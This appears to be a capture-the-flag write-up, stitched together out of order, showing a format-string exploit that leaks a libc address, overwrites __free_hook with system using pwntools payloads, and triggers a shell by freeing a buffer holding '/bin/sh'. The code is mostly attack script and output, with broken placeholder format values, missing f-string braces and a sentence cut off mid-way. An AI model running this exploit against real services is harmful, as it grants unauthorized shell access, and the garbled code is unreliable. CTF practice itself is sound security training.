> upload sh.txt [uploading 8 bytes] /bin/sh The service stores the content in a heap chunk. When we later request download sh.txt , the binary will free the buffer after sending the content. Because __free_hook now points to system , free(buf) becomes system(buf) . Since buf points to the string "/bin/sh" , we get a shell.

io.sendlineafter(b'> ', b'echo ' + payload) io.recvuntil(b'> ') # sync back to prompt

# Build the format string payload = b'A'*8 payload += f"%lowc%8$hn".encode() payload += f"%diffc%9$hn".encode() payload += b'B'*8 payload += p64(free_hook) # 8th argument payload += p64(free_hook + 2) # 9th argument

def write_free_hook(io, libc_base): system_addr = libc_base + libc.sym['system'] free_hook = libc_base + libc.sym['__free_hook'] log.info(f'system: hex(system_addr)') log.info(f'__free_hook: hex(free_hook)')

# Load the exact libc version used on the server (provided by the challenge) libc = ELF('libc-2.31.so')

payload = b'A'*8 # padding for alignment payload += f"%lowc%8$hn".encode() payload += f"%high-lowc%9$hn".encode() payload += b'B'*8 payload += p64(target) # argument 8 payload += p64(target+2) # argument 9 Send the payload with echo and the service writes the low and high halves of system into __free_hook . Now we need a chunk that contains the string "/bin/sh" . The simplest way is to upload a file named sh.txt with that exact content.

> echo %7$p 0x7f5c1a2b2e30 The address 0x7f5c1a2b2e30 belongs to the (high address > 0x7f000000).